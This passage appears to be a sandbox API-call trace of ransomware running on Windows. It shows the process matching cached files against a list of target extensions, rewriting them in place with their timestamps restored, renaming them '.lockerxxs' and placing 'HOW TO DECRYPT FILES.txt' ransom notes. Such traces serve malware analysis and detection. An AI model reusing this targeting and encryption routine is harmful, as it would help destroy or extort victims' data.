lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" [0083.125] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" [0083.125] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg." [0083.125] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg.lockerxxs" [0083.125] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.126] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa7b [0083.126] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52e9a9b0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52e9a9b0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52e9a9b0, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.126] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.126] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xa55, lpOverlapped=0x0) returned 1 [0083.128] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg") returned="BBC0mkg[2].jpg" [0083.128] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.128] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xa55, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xa55, lpOverlapped=0x0) returned 1 [0083.128] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.128] CloseHandle (hObject=0xa4) returned 1 [0083.128] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg.lockerxxs")) returned 1 [0083.129] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5127c5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5127c5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5127c5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x17af, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0oQi[1].jpg", cAlternateFileName="BBC0OQ~1.JPG")) returned 1 [0083.129] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.130] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0oQi[1].jpg") returned 1 [0083.130] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0oQi[1].jpg") returned 1 [0083.130] lstrcmpiA (lpString1="", lpString2="BBC0oQi[1].jpg") returned -1 [0083.130] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg") returned="BBC0mkg[2].jpg" [0083.130] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.130] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.130] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.130] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.130] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBC0oQi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" [0083.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.ems") returned 0 [0083.130] lstrlenA (lpString="*.ems") returned 5 [0083.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.db") returned 0 [0083.130] lstrlenA (lpString="*.db") returned 4 [0083.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.dbf") returned 0 [0083.130] lstrlenA (lpString="*.dbf") returned 5 [0083.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.myox") returned 0 [0083.130] lstrlenA (lpString="*.myox") returned 6 [0083.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.myo") returned 0 [0083.130] lstrlenA (lpString="*.myo") returned 5 [0083.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.qbw") returned 0 [0083.131] lstrlenA (lpString="*.qbw") returned 5 [0083.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.qbb") returned 0 [0083.131] lstrlenA (lpString="*.qbb") returned 5 [0083.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.qbm") returned 0 [0083.131] lstrlenA (lpString="*.qbm") returned 5 [0083.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.qbo") returned 0 [0083.131] lstrlenA (lpString="*.qbo") returned 5 [0083.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.qbx") returned 0 [0083.131] lstrlenA (lpString="*.qbx") returned 5 [0083.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.qba") returned 0 [0083.131] lstrlenA (lpString="*.qba") returned 5 [0083.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.qby") returned 0 [0083.131] lstrlenA (lpString="*.qby") returned 5 [0083.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.qbj") returned 0 [0083.131] lstrlenA (lpString="*.qbj") returned 5 [0083.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.ofx") returned 0 [0083.131] lstrlenA (lpString="*.ofx") returned 5 [0083.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.qif") returned 0 [0083.131] lstrlenA (lpString="*.qif") returned 5 [0083.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.mye") returned 0 [0083.132] lstrlenA (lpString="*.mye") returned 5 [0083.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.mbox") returned 0 [0083.132] lstrlenA (lpString="*.mbox") returned 6 [0083.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.eml") returned 0 [0083.132] lstrlenA (lpString="*.eml") returned 5 [0083.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.pst") returned 0 [0083.132] lstrlenA (lpString="*.pst") returned 5 [0083.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.ost") returned 0 [0083.132] lstrlenA (lpString="*.ost") returned 5 [0083.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.idx") returned 0 [0083.132] lstrlenA (lpString="*.idx") returned 5 [0083.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.dbx") returned 0 [0083.132] lstrlenA (lpString="*.dbx") returned 5 [0083.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.sql") returned 0 [0083.132] lstrlenA (lpString="*.sql") returned 5 [0083.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.mdb") returned 0 [0083.132] lstrlenA (lpString="*.mdb") returned 5 [0083.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.fdb") returned 0 [0083.133] lstrlenA (lpString="*.fdb") returned 5 [0083.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.wab") returned 0 [0083.133] lstrlenA (lpString="*.wab") returned 5 [0083.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.dat") returned 0 [0083.133] lstrlenA (lpString="*.dat") returned 5 [0083.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.txt") returned 0 [0083.133] lstrlenA (lpString="*.txt") returned 5 [0083.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.jpeg") returned 0 [0083.133] lstrlenA (lpString="*.jpeg") returned 6 [0083.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", pszSpec="*.jpg") returned 1 [0083.133] lstrlenA (lpString="*.jpg") returned 5 [0083.133] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" [0083.133] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" [0083.133] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg." [0083.133] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg.lockerxxs" [0083.133] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.134] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17af [0083.134] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5127c5d0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5127c5d0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5127c5d0, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.134] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.134] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1789, lpOverlapped=0x0) returned 1 [0083.137] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg") returned="BBC0oQi[1].jpg" [0083.137] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.137] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1789, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1789, lpOverlapped=0x0) returned 1 [0083.137] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.137] CloseHandle (hObject=0xa4) returned 1 [0083.137] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg.lockerxxs")) returned 1 [0083.138] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fa5350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fa5350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fa5350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaf3, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0tCi[1].jpg", cAlternateFileName="BBC0TC~1.JPG")) returned 1 [0083.139] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.139] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0tCi[1].jpg") returned 1 [0083.139] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0tCi[1].jpg") returned 1 [0083.139] lstrcmpiA (lpString1="", lpString2="BBC0tCi[1].jpg") returned -1 [0083.139] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg") returned="BBC0oQi[1].jpg" [0083.139] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.139] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.139] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.139] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.139] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS 